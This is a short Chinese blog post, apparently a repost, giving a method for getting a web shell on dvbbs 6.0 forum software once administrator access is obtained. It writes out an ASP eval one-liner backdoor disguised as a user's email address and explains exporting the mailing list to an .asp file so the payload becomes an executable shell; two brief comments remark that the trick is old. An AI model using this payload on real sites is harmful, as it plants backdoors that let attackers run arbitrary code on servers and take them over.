dvbbs删除upload.inc后得shell得方法 – 前提是得到前后台管理权限

来自:Bluelight的小窝

for dvbbs 6.0
进入后台后 ,先到用户管理 ,随便改个人的邮件地址为,<%eval request(chr(35))%>@163.com
保存后,找到邮件列表导出,然后导出邮件列表到文本 把文件名的名字改为.asp,点导出,就得到了一个shell

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

  • kuhanzhu

    Maybe its too late for learning this.

  • 鬼仔

    嗯,是有点晚了,但是还是记下来。

发表评论